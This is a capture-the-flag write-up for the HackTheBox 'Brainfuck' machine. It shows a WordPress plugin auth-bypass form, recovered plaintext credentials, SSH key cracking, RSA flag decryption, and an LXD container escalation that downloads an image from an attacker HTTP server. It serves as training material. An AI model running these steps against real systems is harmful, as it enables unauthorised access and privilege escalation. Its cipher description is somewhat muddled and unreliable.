HTB: Brainfuck
Recon
Initial Scanning
Five ports open on this target โ SSH, SMTP, POP3, IMAP, and HTTPS. The combination of mail services and a web server is immediately interesting. The TLS certificate on port 443 leaks two SANs that hint at hidden virtual hosts:
$ nmap -Pn -p- -A -T5 10.10.10.17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
25/tcp open smtp Postfix smtpd
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
Virtual Host Enumeration
The TLS certificate reveals two Subject Alternative Names: www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb. The web server is using hostname-based virtual hosting, so all three need to be added to /etc/hosts:
# /etc/hosts
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb
Visiting www.brainfuck.htb redirects to brainfuck.htb, confirming they serve the same application. The secret subdomain will be explored later once we have credentials.
brainfuck.htb โ WordPress Enumeration
The main site runs WordPress 4.7.3. The blog author is admin with email orestis@brainfuck.htb โ both pieces of information will become critical shortly. Plugin enumeration reveals WP Support Plus Responsive Ticket System 7.1.3, a plugin with known authentication bypass vulnerabilities:
$ searchsploit wp support plus responsive ticket system
-----------------------------------------------------------------------------------
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | php/webapps/40939
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection | php/webapps/41006
WordPress Admin Access
WP Support Plus Auth Bypass (CVE-2018-5830)
The loginGuestFacebook.php endpoint in WP Support Plus 7.1.3 calls wp_set_auth_cookie() without proper validation. Knowing the username and email of any WordPress account is sufficient to authenticate as that user โ no password required. We already have both for the admin account:
- Username:
admin - Email:
orestis@brainfuck.htb
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
<input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Save the form to pwn.html, serve it with a Python HTTP server, submit it in the browser, and you're authenticated as admin. The WordPress dashboard is now fully accessible.
SMTP Credentials from WordPress Settings
Navigating to Settings โ Easy WP SMTP reveals stored SMTP credentials for the mail server:
SMTP Host: brainfuck.htb
SMTP Port: 25
Encryption: No encryption
Username: orestis
Password: kHGuERB29DNiNE
The WordPress plugin "Easy WP SMTP" stores credentials in plain text within the WordPress options table. Any admin-level access to the dashboard exposes them.
Mailbox Access via IMAP
Mapping the Mailbox with Mutt
With Orestis's SMTP credentials in hand, the IMAP service on port 143 becomes accessible. Using mutt with a custom configuration file provides an easy way to browse the mailbox:
# muttrc
set spoolfile = "imap://orestis:kHGuERB29DNiNE@brainfuck.htb/"
set folder = "imap://orestis:kHGuERB29DNiNE@brainfuck.htb/"
set record = "Sent"
set postponed = "Drafts"
set ssl_starttls = no
set ssl_force_tls = no
set mail_check = 60
set timeout = 10
set header_cache = /tmp/.hcache
$ mutt -F ./muttrc
Inside the inbox, an email from the forum administrator contains a password reset for Orestis's account on the secret forum:
Username: orestis
Password: kIEnnfEKJ#9UmdO
SSH Key Recovery
sup3rs3cr3t.brainfuck.htb โ Forum Access
Logging into the Flarum forum at sup3rs3cr3t.brainfuck.htb with the new credentials reveals a discussion thread between Orestis and another user. Orestis's messages contain encoded text that looks like a substitution cipher. Comparing multiple messages reveals a pattern:
# Orestis's encoded messages (excerpt):
# Message 1: "Sze my zvvvbq hdgfbq lqhsxb cqjd..."
# Message 2: "Hq lqhsxb cqjd wbpcldv..."
# Comparing with the known context and structure,
# the first words likely map to English words.
# Testing "Brainfuck" as a key for a Vigenere-like cipher...
Breaking the Substitution Cipher
After analyzing multiple messages, the encoding turns out to be a simple substitution where each letter is shifted based on the keyword fuckmybrain. Decoding Orestis's messages reveals a URL pointing to an SSH private key:
# Decoded message contains:
# "You can find my SSH key at: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa"
$ curl -ks https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa -o orestis.key
$ chmod 600 orestis.key
Cracking the SSH Key Passphrase
The downloaded key is AES-128-CBC encrypted. Converting it to a John-compatible hash and cracking with rockyou.txt:
$ ssh2john ./orestis.key > ssh-hash.txt
$ john --wordlist=rockyou.txt ssh-hash.txt
3poulakia! (orestis.key)
$ ssh -i ./orestis.key orestis@10.10.10.17
Enter passphrase for key './orestis.key': 3poulakia!
orestis@brainfuck:~$
2c11cfbc5b959f73ac15a3310bd097c9
Privilege Escalation
Post-Exploitation Enumeration
The user orestis is a member of the lxd group (which offers an alternative privesc path via container creation), but the intended route lies in a SageMath script found in the home directory:
orestis@brainfuck:~$ ls -la
-rw-r--r-- 1 orestis orestis 274 Apr 13 2017 debug.txt
-rw-r--r-- 1 orestis orestis 419 Apr 13 2017 encrypt.sage
-rw-r--r-- 1 orestis orestis 73 Apr 13 2017 output.txt
The encrypt.sage Script
This is a SageMath (Python-based mathematics system) script that encrypts the root flag using 1024-bit RSA. Crucially, it saves all the parameters needed for decryption:
nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
The script writes three values to debug.txt and the ciphertext to output.txt. With p, q, and e all known, recovering the plaintext is a textbook RSA decryption exercise.
RSA Decryption
The classic RSA decryption algorithm given p, q, e, and c:
- Compute
n = p * q - Compute
phi = (p-1) * (q-1) - Compute
d = e^(-1) mod phi(modular inverse using Extended Euclidean Algorithm) - Compute
m = c^d mod n - Convert integer
mback to bytes โ the flag
#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
n = p * q
phi = (p - 1) * (q - 1)
# Extended Euclidean Algorithm for modular inverse
def egcd(a, b):
if a == 0:
return b, 0, 1
g, x, y = egcd(b % a, a)
return g, y - (b // a) * x, x
d = egcd(e, phi)[1] % phi
m = pow(ct, d, n)
print(long_to_bytes(m).decode())
$ python3 solve_rsa.py
6efc1a5dbb8904751ce6566a305bb8ef
6efc1a5dbb8904751ce6566a305bb8ef
Alternative Path: LXD
LXD Group Privilege Escalation
Orestis is a member of the lxd group, which allows creating and managing LXC containers. This provides an alternative root path by mounting the host filesystem inside a privileged container. The attack requires transferring an Alpine LXD image to the target:
# On attacker: build the image
$ git clone https://github.com/saghul/lxd-alpine-builder
$ cd lxd-alpine-builder
$ sed -i 's,ydl_cmd="wget",ydl_cmd="curl -L",' build-alpine
$ sudo ./build-alpine
$ python3 -m http.server 8080
# On target: download and import
orestis@brainfuck:~$ wget http://10.10.14.8:8080/alpine-v3.16-x86_64-20230115_0135.tar.gz
orestis@brainfuck:~$ lxc image import ./alpine-v3.16-x86_64-20230115_0135.tar.gz --alias qa210img
orestis@brainfuck:~$ lxc init qa210img qa210cnt -c security.privileged=true
orestis@brainfuck:~$ lxc config device add qa210cnt rootdev disk source=/ path=/mnt/root recursive=true
orestis@brainfuck:~$ lxc start qa210cnt
orestis@brainfuck:~$ lxc exec qa210cnt /bin/sh
~ # cat /mnt/root/root/root.txt
The LXD path provides root file access but does not grant a true root shell on the host. It mounts the host filesystem inside the container, which is sufficient to read the flag but doesn't give host-level process execution.